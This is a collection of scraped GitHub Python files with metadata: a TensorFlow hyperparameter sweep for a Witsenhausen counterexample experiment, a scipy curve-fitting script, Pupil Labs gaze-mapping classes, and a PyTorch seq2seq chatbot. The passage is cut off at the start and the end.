plt.savefig(\"figs/y1_tests/y1vsx2_nu1_{}_nu2_{}_ksq_{}_f1_{}_f3_{}.png\".format(\n      #   str(num_units_1), str(num_units_2) ,str(k_sq), \n      #   str(encoder_activation_1), str(decoder_activation_1)))\n\n      # plt.clf()\n      # l2, = plt.plot(x0_test, x1_test, label=\"deterministic x1\")\n      # plt.title(\"Deterministic Step Function\")\n      # plt.legend(handles=[l2])\n      # plt.savefig(\"figs/fixed_encoder_test/x0vsx1_nu1_{}_nu2_{}_ksq_{}_xstd_{}_f3_{}_f4_{}.png\".format(\n      #   str(num_units_1), str(num_units_2) ,str(k_sq), str(x_stddev), \n      #   str(encoder_activation_1), str(decoder_activation_1)))\n\ndef pw_step_function(x_arr): \n  '''\n  Performs a piecewise step operation on every element of x_arr.\n  x_arr: A numpy 1D array of real numbers of shape (N, )\n  returns: A numpy 1D array of shape (N, ) whose values are in [-10, -4, 4, 10]\n  '''\n  return np.piecewise(x_arr, [x_arr < -7, (x_arr >= -7) & (x_arr < 0), (x_arr >= 0) & (x_arr < 7), x_arr > 7],\n    [-4, -1, 2, 5])\n\ndef cartesian_product(*arrays): \n  return itertools.product(*arrays)\n\n\n\n\nif __name__ == \"__main__\":\n  #learning_rates = [0.01, 0.001, 0.0001, 0.005]\n  \n  diemsions = [1]\n  k_squared_vals = [0.04]\n  learning_rates = [5e-5]\n  num_epochs = [8000]\n  batch_size = [100]\n  x_stddeviations = [5]\n  encoder_activation_1s = [tf.nn.relu]\n  encoder_activation_2s = [tf.identity]\n  decoder_activation_1s = [tf.nn.tanh, tf.nn.sigmoid]\n  decoder_activation_2s = [tf.identity]\n  num_units_1s = [150]\n  num_units_2s = [30]\n  decay_rates = [1 - 1e-3]\n  test_average_sizes = [100]\n  optimizers = [tf.train.AdamOptimizer]\n  skip_layers = [True, False]\n  \n  run_num = 1\n\n  all_hyperparam_tuples = cartesian_product(diemsions, k_squared_vals,\n    learning_rates, num_epochs, batch_size, x_stddeviations, encoder_activation_1s,\n    encoder_activation_2s, decoder_activation_1s, decoder_activation_2s, num_units_1s, \n    num_units_2s, decay_rates, test_average_sizes, optimizers, skip_layers)\n\n\n  for tup in all_hyperparam_tuples: \n    #Unroll the huge tuple of hyperparameters.\n    #I apologize for the very long line of code. RIP pep8 - Akhil\n    m, k_sq, learning_rate, epochs, batch_size, x_stddev, encoder_activation_1, encoder_activation_2, decoder_activation_1, decoder_activation_2, num_units_1, num_units_2, decay, test_averaging, optimizer_func, skip_layer = tup\n    seed = run_num + 50\n    np.random.seed(seed)\n    tf.set_random_seed(seed)\n\n    print('RUN NUMBER {}'.format(run_num))\n    print('Numpy/TF random seed {}'.format(seed))\n    print('HYPERPARAMETERS ARE: ')\n    print('m, k_sq, learning_rate, epochs, batch_size, x_stddev, encoder_activation_1, encoder_activation_2, decoder_activation_1, '\n      + 'decoder_activation_2, num_units_1, num_units_2, decay, test_averaging, optimizer_func, skip_layer')\n    print(tup)\n    print('-----------------------------------------------\\n')\n    neural_net_run(m, k_sq, learning_rate, epochs, batch_size, x_stddev, \n      encoder_activation_1, encoder_activation_2, decoder_activation_1, decoder_activation_2, \n      num_units_1, num_units_2, decay, test_averaging, optimizer_func, skip_layer)\n    print('-----------------------------------------------\\n')\n    run_num += 1", "repo_name": "laurabrink13/Witsenhausen-Counterexample-with-NNs", "sub_path": "fixed_encoder_run.py", "file_name": "fixed_encoder_run.py", "file_ext": "py", "file_size_in_byte": 11629, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.use", "line_number": 8, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 41, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 41, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 42, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 42, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 43, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_mean", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 59, "usage_type": "call"}, {"api_name": "tensorflow.placeholder_with_default", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.layers.dense", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 66, "usage_type": "attribute"}, {"api_name": "tensorflow.layers.dense", "line_number": 69, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 69, "usage_type": "attribute"}, {"api_name": "tensorflow.layers.dense", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.layers", "line_number": 72, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_mean", "line_number": 79, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 79, "usage_type": "call"}, {"api_name": "tensorflow.placeholder_with_default", "line_number": 85, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 87, "usage_type": "attribute"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 88, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 88, "usage_type": "attribute"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 98, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 99, "usage_type": "attribute"}, {"api_name": "tensorflow.Session", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 104, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 112, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 143, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 143, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 145, "usage_type": "call"}, {"api_name": "scipy.stats.stats.norm", "line_number": 147, "usage_type": "call"}, {"api_name": "scipy.stats.stats", "line_number": 147, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 147, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 157, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 169, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 187, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 188, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 189, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 190, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 190, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 191, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 191, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 192, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 192, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 193, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 193, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 196, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 198, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 198, "usage_type": "name"}, {"api_name": "numpy.piecewise", "line_number": 225, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 229, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 243, "usage_type": "attribute"}, {"api_name": "tensorflow.identity", "line_number": 244, "usage_type": "attribute"}, {"api_name": "tensorflow.nn", "line_number": 245, "usage_type": "attribute"}, {"api_name": "tensorflow.identity", "line_number": 246, "usage_type": "attribute"}, {"api_name": "tensorflow.train", "line_number": 251, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 267, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 267, "usage_type": "attribute"}, {"api_name": "tensorflow.set_random_seed", "line_number": 268, "usage_type": "call"}]}
{"seq_id": "5878109396", "text": "import scipy.odr.odrpack as odr\r\nfrom scipy.fft import rfftfreq, rfft, irfft\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport csv\r\nimport os\r\nimport glob\r\n\r\n\r\ndef FuncGauss(b, t):\r\n    return b[2] / (np.sqrt(2 * np.pi) * b[0]) * np.e ** (-2 * (((t - b[1]) / b[0]) ** 2))\r\n\r\n\r\ndef Exp(b, t):\r\n    if b[2] == 0:\r\n        return (b[1] / b[0]) * np.e ** (-t / b[0])\r\n    else:\r\n        return ((1 - b[1]) / b[0]) * np.e ** (-t / b[0])\r\n\r\ndef TauExp(b, t):\r\n    ans = 0\r\n    for i in range(0, len(b) - 1):\r\n        ans += Exp([b[i], b[-1], i], t)\r\n    return ans\r\n\r\n\r\ndef Ajustar(b, t, Gauss):\r\n    # Definir bloqueos para los valores\r\n    if 0.1 > b[0] or b[0] > 0.5 or b[0] > b[1] or b[1] > 0.5 or 0 > b[2] or b[2] > 1:\r\n        return np.ones(len(t)) * 50000\r\n    # Define la funcion Gausseana y las exponenciales por separado para fft.\r\n    ans = FuncGauss(Gauss, t)\r\n    temporal = TauExp(b, t)\r\n\r\n    # Le aplico la transformada de Fourier a las exponenciales.\r\n    temporal = list(rfft(temporal))\r\n    # Aplico transformada de Fourier a la Gausseana y multiplico ambas transformadas.\r\n    ans = list(rfft(ans))\r\n    for i in range(0, len(ans)):\r\n        ans[i] *= temporal[i]\r\n    # Ahora hay que transformar inversa a ans.\r\n    ans = np.array(ans)\r\n    ans = irfft(ans)\r\n    ans = list(ans)\r\n    while len(ans) < len(t):\r\n        ans.append(0)\r\n    b = max(ans)\r\n    ans = np.array(ans) / b\r\n    return ans\r\n\r\n\r\ndef FitAndGraph(x_dat, y_dat, beta, lineal, errors):\r\n    # Desviacion de los datos\r\n    sigma_x = 0.00008\r\n    sigma_y = 0.0002\r\n    mydata = odr.RealData(x_dat, y_dat, sx=sigma_x, sy=sigma_y)\r\n\r\n    myodr = odr.ODR(mydata, lineal, beta0=beta[0])\r\n\r\n    # Corremos el ajuste y guardamos los resultados en la variable output\r\n    output = myodr.run()\r\n    beta[0] = output.beta\r\n    errors[0] = output.sd_beta\r\n    print(errors[0])\r\n    print(beta[0])\r\n\r\n    return output.beta\r\n\r\n\r\ndef ReadData(x, y, name):\r\n    path = os.getcwd()\r\n    csv_files = glob.glob(os.path.join(path, name))\r\n    i = -1\r\n    for f in csv_files:\r\n        i += 1\r\n        with open(f) as csv_file:\r\n            csv_reader = csv.reader(csv_file, delimiter=',')\r\n            for row in csv_reader:\r\n                x.append(float(row[0]))\r\n                y.append(float(row[1]))\r\n\r\n\r\ndef main():\r\n    name = input('Introducir nombre del archivo: ')\r\n    # Co = input('Introducir nombre de la Gausseana: ')\r\n    # error = input('Nombre del ruido de fondo')\r\n    taus = [[0.195, 0.4, 0.9]]\r\n    errors = [[0, 0, 0, 0, 0]]\r\n    x = []\r\n    y = []\r\n    err_x = []\r\n    err_y = []\r\n    Ruido_x = []\r\n    Ruido_y = []\r\n    ReadData(x, y, name)\r\n    # ReadData(err_x, err_y, Co)\r\n    # ReadData(Ruido_x, Ruido_y, error)\r\n    Gauss = [0.47, 0.5, 0.59]\r\n\r\n    # --------------------------------Proximamente Ajustar tamb la Gausseana--------------------------------\r\n    # for i in range(0, len(y)):\r\n    #    y[i] -= Ruido_y[i]\r\n    # Aj_gauss = odr.Model(FuncGauss)\r\n    # FitAndGraph(err_x, err_y, Gauss, Aj_gauss)\r\n    # ------------------------------------------------------------------------------------------------------\r\n    x = np.array(x)\r\n    x *= 0.001\r\n    y = np.array(y)\r\n    a = np.linspace(x[0], x[-1], 5000)\r\n    Aj_fin = odr.Model(Ajustar, extra_args=[Gauss])\r\n    FitAndGraph(x, y, taus, Aj_fin, errors)\r\n    plt.scatter(x, y, label=\"Medidas\", s=1.5, color=\"#236417\", zorder=3)\r\n    plt.plot(a, Ajustar(taus[0], a, Gauss), label=\"Ajuste\", color=\"#FF8585\", zorder=1)\r\n    plt.xlabel(\"Canales\")\r\n    plt.ylabel(\"Cuentas\")\r\n    plt.legend()\r\n    plt.show()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n", "repo_name": "dmtomas/Experimentos_Cuanticos_2", "sub_path": "Experimento 3/Analisis.py", "file_name": "Analisis.py", "file_ext": "py", "file_size_in_byte": 3611, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.sqrt", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numpy.e", "line_number": 11, "usage_type": "attribute"}, {"api_name": "numpy.e", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.e", "line_number": 18, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 30, "usage_type": "call"}, {"api_name": "scipy.fft.rfft", "line_number": 36, "usage_type": "call"}, {"api_name": "scipy.fft.rfft", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 42, "usage_type": "call"}, {"api_name": "scipy.fft.irfft", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 48, "usage_type": "call"}, {"api_name": "scipy.odr.odrpack.RealData", "line_number": 56, "usage_type": "call"}, {"api_name": "scipy.odr.odrpack", "line_number": 56, "usage_type": "name"}, {"api_name": "scipy.odr.odrpack.ODR", "line_number": 58, "usage_type": "call"}, {"api_name": "scipy.odr.odrpack", "line_number": 58, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 71, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "csv.reader", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 109, "usage_type": "call"}, {"api_name": "scipy.odr.odrpack.Model", "line_number": 110, "usage_type": "call"}, {"api_name": "scipy.odr.odrpack", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 115, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 117, "usage_type": "name"}]}
{"seq_id": "31196644945", "text": "from collections import deque\nimport numpy as np\n\n\nclass Gaze_Mapping_Plugin:\n    \"\"\"base class for all gaze mapping routines\"\"\"\n\n    uniqueness = \"by_base_class\"\n    order = 0.1\n    icon_chr = chr(0xEC20)\n    icon_font = \"pupil_icons\"\n\n    def __init__(self, g_pool):\n        super().__init__(g_pool)\n        self.g_pool.active_gaze_mapping_plugin = self\n\n    def on_pupil_datum(self, p):\n        raise NotImplementedError()\n\n    def map_batch(self, pupil_list):\n        results = []\n        for p in pupil_list:\n            results.extend(self.on_pupil_datum(p))\n        return results\n\n    def add_menu(self):\n        super().add_menu()\n        self.menu_icon.order = 0.31\n\n\nclass Binocular_Gaze_Mapper_Base(Gaze_Mapping_Plugin):\n    \"\"\"Base class to implement the map callback\"\"\"\n\n    def __init__(self, g_pool):\n        super().__init__(g_pool)\n\n        self.min_pupil_confidence = 0.6\n        self._caches = (deque(), deque())\n        self.current_cutoff = 1 / 120\n        self.temporal_cutoff_smoothing_ratio = 0.35\n        self.sample_cutoff = 10\n\n    def is_cache_valid(self, cache):\n        return len(cache) >= 2\n\n    def calculate_raw_cutoff(self, cache):\n        return np.mean(np.diff([d[\"timestamp\"] for d in cache]))\n\n    def calculate_temporal_cutoff(self, eye0_cache, eye1_cache):\n\n        if self.is_cache_valid(eye0_cache) and self.is_cache_valid(eye1_cache):\n            raw_cutoff = max(\n                self.calculate_raw_cutoff(eye0_cache),\n                self.calculate_raw_cutoff(eye1_cache),\n            )\n        elif self.is_cache_valid(eye0_cache):\n            raw_cutoff = self.calculate_raw_cutoff(eye0_cache)\n        elif self.is_cache_valid(eye1_cache):\n            raw_cutoff = self.calculate_raw_cutoff(eye1_cache)\n        else:\n            return self.current_cutoff\n\n        self.current_cutoff += (\n            raw_cutoff - self.current_cutoff\n        ) * self.temporal_cutoff_smoothing_ratio\n        return self.current_cutoff\n\n    def map_batch(self, pupil_list):\n        current_caches = self._caches\n        self._caches = (deque(), deque())\n        results = []\n        for p in pupil_list:\n            results.extend(self.on_pupil_datum(p))\n\n        self._caches = current_caches\n        return results\n\n    def on_pupil_datum(self, p):\n        self._caches[p[\"id\"]].append(p)\n        temporal_cutoff = 2 * self.calculate_temporal_cutoff(*self._caches)\n\n        # map low confidence pupil data monocularly\n        if (\n            self._caches[0]\n            and self._caches[0][0][\"confidence\"] < self.min_pupil_confidence\n        ):\n            p = self._caches[0].popleft()\n            gaze_datum = self._map_monocular(p, temporal_cutoff)\n        elif (\n            self._caches[1]\n            and self._caches[1][0][\"confidence\"] < self.min_pupil_confidence\n        ):\n            p = self._caches[1].popleft()\n            gaze_datum = self._map_monocular(p, temporal_cutoff)\n        # map high confidence data binocularly if available\n        elif self._caches[0] and self._caches[1]:\n            # we have binocular data\n            if self._caches[0][0][\"timestamp\"] < self._caches[1][0][\"timestamp\"]:\n                p0 = self._caches[0].popleft()\n                p1 = self._caches[1][0]\n                older_pt = p0\n            else:\n                p0 = self._caches[0][0]\n                p1 = self._caches[1].popleft()\n                older_pt = p1\n\n            if abs(p0[\"timestamp\"] - p1[\"timestamp\"]) < temporal_cutoff:\n                gaze_datum = self._map_binocular(p0, p1, temporal_cutoff)\n            else:\n                gaze_datum = self._map_monocular(older_pt, temporal_cutoff)\n\n        elif len(self._caches[0]) > self.sample_cutoff:\n            p = self._caches[0].popleft()\n            gaze_datum = self._map_monocular(p, temporal_cutoff)\n        elif len(self._caches[1]) > self.sample_cutoff:\n            p = self._caches[1].popleft()\n            gaze_datum = self._map_monocular(p, temporal_cutoff)\n        else:\n            gaze_datum = None\n\n        if gaze_datum:\n            return [gaze_datum]\n        else:\n            return []\n", "repo_name": "pupil-labs/pupil-matching-evaluation", "sub_path": "pr_1731_dynamic_cutoff_gaze_mappers.py", "file_name": "pr_1731_dynamic_cutoff_gaze_mappers.py", "file_ext": "py", "file_size_in_byte": 4112, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.deque", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 47, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 70, "usage_type": "call"}]}
{"seq_id": "7108763044", "text": "import numpy as np\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport torch.optim as optim\nimport matplotlib .pyplot as plt\nimport pickle\nimport preprocessing\nimport random\nfrom collections import OrderedDict\n\nSTART_TAG = '<sos>'\nEND_TAG = '<eos>'\nuse_cuda=True\nMAX_LENGTH=40\n\nclass EncoderRNN(nn.Module):\n    def __init__(self, input_size, hidden_size,embeddings):\n        super(EncoderRNN, self).__init__()\n        self.hidden_size = hidden_size\n\n        self.embedding = nn.Embedding(input_size, hidden_size)\n        self.lstm = nn.GRU(hidden_size, hidden_size)\n        self.embedding.weight.data.copy_(torch.from_numpy(embeddings))\n    def forward(self, input, hidden):\n        embedded = self.embedding(input).view(1, 1, -1)\n        output = embedded\n        output, hidden = self.lstm(output, hidden)\n        return output, hidden\n\n    def initHidden(self):\n        use_cuda=True\n        result = (Variable(torch.randn(1, 1, self.hidden_size)))\n        return result\n\nclass DecoderRNN(nn.Module):\n    def __init__(self, hidden_size, output_size):\n        super(DecoderRNN, self).__init__()\n        self.hidden_size = hidden_size\n        self.embedding = nn.Embedding(output_size, hidden_size)\n        self.lstm = nn.LSTM(hidden_size, hidden_size/2,bidirectional=True)\n        self.out = nn.Linear(hidden_size, output_size)\n        self.softmax = nn.LogSoftmax(dim=1)\n\n    def forward(self, input, hidden):\n        output = self.embedding(input).view(1, 1, -1)\n        output = F.relu(output)\n        output, hidden = self.lstm(output, hidden)\n        output = self.softmax(self.out(output[0]))\n        return output, hidden\n\n    def initHidden(self):\n        use_cuda=True\n        result = (Variable(torch.randn(2, 1, self.hidden_size // 2)),\n                Variable(torch.randn(2, 1, self.hidden_size // 2)))\n        return result\n\nclass AttnDecoderRNN(nn.Module):\n    def __init__(self, hidden_size, output_size, embeddings,dropout_p=0.1, max_length=MAX_LENGTH):\n        super(AttnDecoderRNN, self).__init__()\n        self.hidden_size = hidden_size\n        self.output_size = output_size\n        self.dropout_p = dropout_p\n        self.max_length = max_length\n\n        self.embedding = nn.Embedding(self.output_size, self.hidden_size)\n        self.attn = nn.Linear(self.hidden_size * 2, self.max_length)\n        self.attn_combine = nn.Linear(self.hidden_size * 2, self.hidden_size)\n        self.dropout = nn.Dropout(self.dropout_p)\n        self.lstm = nn.GRU(self.hidden_size, self.hidden_size)\n        self.out = nn.Linear(self.hidden_size, self.output_size)\n        self.embedding.weight.data.copy_(torch.from_numpy(embeddings))\n\n    def forward(self, input, hidden, encoder_outputs):\n        embedded = self.embedding(input).view(1,1, -1)\n        embedded = self.dropout(embedded)\n\n        attn_weights = F.softmax(\n            self.attn(torch.cat((embedded[0], hidden[0]), 1)), dim=1)\n        attn_applied = torch.bmm(attn_weights.unsqueeze(0),\n                                 encoder_outputs.unsqueeze(0))\n\n        output = torch.cat((embedded[0], attn_applied[0]), 1)\n        output = self.attn_combine(output).unsqueeze(0)\n\n        output = F.relu(output)\n        output, hidden = self.lstm(output, hidden)\n\n        output = F.log_softmax(self.out(output[0]), dim=1)\n        return output, hidden, attn_weights\n\n    def initHidden(self):\n        use_cuda=True\n        result =(Variable(torch.randn(1, 1, self.hidden_size)))\n        return result\n            \n\nteacher_forcing_ratio = 0.5\n\n\ndef train(input_variable, target_variable, encoder, decoder, encoder_optimizer, decoder_optimizer, criterion, max_length=MAX_LENGTH):\n    encoder_hidden = encoder.initHidden()\n\n    encoder_optimizer.zero_grad()\n    decoder_optimizer.zero_grad()\n\n    input_length = input_variable.size()[0]\n    target_length = target_variable.size()[0]\n\n    encoder_outputs = Variable(torch.zeros(max_length, encoder.hidden_size))\n    encoder_outputs = encoder_outputs if use_cuda else encoder_outputs\n\n    loss = 0\n\n\n    for ei in range(min(input_length,MAX_LENGTH)):\n        encoder_output, encoder_hidden = encoder(\n            input_variable[ei], encoder_hidden)\n\n        encoder_outputs[ei] = encoder_output[0][0]\n\n    decoder_input = Variable(torch.LongTensor([word_to_ix[START_TAG]]))\n    decoder_input = decoder_input if use_cuda else decoder_input\n\n    decoder_hidden = encoder_hidden\n\n    use_teacher_forcing = True if random.random() < teacher_forcing_ratio else False\n\n    if use_teacher_forcing:\n        # Teacher forcing: Feed the target as the next input\n        for di in range(min(target_length,max_length)):\n            decoder_output, decoder_hidden, decoder_attention = decoder(\n                decoder_input, decoder_hidden, encoder_outputs)\n            loss += criterion(decoder_output, target_variable[di])\n            decoder_input = target_variable[di]  # Teacher forcing\n\n    else:\n        # Without teacher forcing: use its own predictions as the next input\n        for di in range(min(target_length,max_length)):\n            decoder_output, decoder_hidden, decoder_attention = decoder(\n                decoder_input, decoder_hidden, encoder_outputs)\n            topv, topi = decoder_output.data.topk(1)\n            ni = topi[0][0]\n\n            decoder_input = Variable(torch.LongTensor([[ni]]))\n            decoder_input = decoder_input if use_cuda else decoder_input\n\n            loss += criterion(decoder_output, target_variable[di])\n            if ni == END_TAG:\n                break\n\n        loss.backward()\n\n        encoder_optimizer.step()\n        decoder_optimizer.step()\n    return loss / target_length\n\nimport time\n\ndef trainIters(encoder, decoder, n_iters, print_every=1000, plot_every=100, learning_rate=0.01):\n    start = time.time()\n    plot_losses = []\n    print_loss_total = 0  # Reset every print_every\n    plot_loss_total = 0  # Reset every plot_every\n    batch_size=32\n    encoder_optimizer = optim.SGD(encoder.parameters(), lr=learning_rate,momentum=0.8)\n    decoder_optimizer = optim.SGD(decoder.parameters(), lr=learning_rate,momentum=0.8)\n    with open(\"sample_input_soul.csv\") as f:\n        X=f.readlines()\n    with open(\"sample_output_soul.csv\") as f:\n        Y=f.readlines()\n    training_pairs = [[preprocessing.prepare_sequence(X[i],word_to_ix,None),preprocessing.prepare_sequence(Y[i],word_to_ix,None)]for i in range(n_iters)]\n    #n_iters = int(n_iters / 32)\n    criterion = nn.NLLLoss()\n    #training_pairs=[training_pairs[i:i+32] for i in range(n_iters)]\n    for epoch in range(50):\n        print_loss_total=0\n        print(epoch)\n        for iter in range(1, n_iters + 1):\n            #training_pair=training_pairs[iter*32:(iter+1)*32]\n            training_pair = training_pairs[iter - 1]\n            input_variable = training_pair[0]\n            target_variable = training_pair[1]\n            #input_variable = torch.LongTensor([ x[0] for x in training_pair])\n            #target_variable = torch.LongTensor([x[1] for x in training_pair])\n\n            loss = train(input_variable, target_variable, encoder,\n                         decoder, encoder_optimizer, decoder_optimizer, criterion)\n            print_loss_total += loss\n            plot_loss_total += loss\n        print(\"Total loss is %s\",print_loss_total)\n    return\n\n\ndef evaluate(encoder, decoder, sentence, max_length=MAX_LENGTH):\n    input_variable = preprocessing.prepare_sequence(sentence,word_to_ix,None)\n    input_length = input_variable.size()[0]\n    encoder_hidden = encoder.initHidden()\n\n    encoder_outputs = Variable(torch.zeros(max_length, encoder.hidden_size))\n    encoder_outputs = encoder_outputs if use_cuda else encoder_outputs\n\n    for ei in range(input_length):\n        encoder_output, encoder_hidden = encoder(input_variable[ei],\n                                                 encoder_hidden)\n        encoder_outputs[ei] = encoder_outputs[ei] + encoder_output[0][0]\n\n    decoder_input = Variable(torch.LongTensor([word_to_ix[START_TAG]]))  # SOS\n    decoder_input = decoder_input if use_cuda else decoder_input\n\n    decoder_hidden = encoder_hidden\n\n    decoded_words = []\n    decoder_attentions = torch.zeros(max_length, max_length)\n\n    for di in range(max_length):\n        decoder_output, decoder_hidden, decoder_attention = decoder(\n            decoder_input, decoder_hidden, encoder_outputs)\n        decoder_attentions[di] = decoder_attention.data\n        topv, topi = decoder_output.data.topk(1)\n        ni = topi[0][0]\n        if ni == word_to_ix[END_TAG]:\n            decoded_words.append('<eos>')\n            break\n        else:\n            decoded_words.append(ix_to_word[ni])\n\n        decoder_input = Variable(torch.LongTensor([[ni]]))\n        decoder_input = decoder_input if use_cuda else decoder_input\n\n    #return decoded_words, decoder_attentions[:di + 1]\n    return decoded_words\n#vocab,characters=preprocessing.create_vocab(\"sample_input1.csv\")\nvocab=preprocessing.most_common_words(\"sample_input_soul.csv\")\nword_to_ix,ix_to_word=preprocessing.create_word_to_ix(vocab)\nembeddings=preprocessing.obtain_polyglot_embeddings('polyglot-en.pkl',word_to_ix)\nencoder = EncoderRNN(len(vocab)+4, 64,embeddings)\ndecoder = AttnDecoderRNN(64, len(vocab)+4,embeddings)\nencoder.load_state_dict(torch.load('encoder_soul.pkl'))\ndecoder.load_state_dict(torch.load('decoder_soul.pkl'))\n#for i in range(50):\n#trainIters(encoder, decoder, 126)\n#torch.save(encoder.state_dict(), \"encoder_soul.pkl\")\n#torch.save(decoder.state_dict(), \"decoder_soul.pkl\")\n\nwhile True:\n    print(\"Enter a sentence to be evaluated \\n\")\n    sentence=input()\n    print(evaluate(encoder,decoder,sentence))\n", "repo_name": "pramodith/Seq2Seq", "sub_path": "Seq2Seq.py", "file_name": "Seq2Seq.py", "file_ext": "py", "file_size_in_byte": 9668, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.Module", "line_number": 18, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.GRU", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.from_numpy", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.autograd.Variable", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 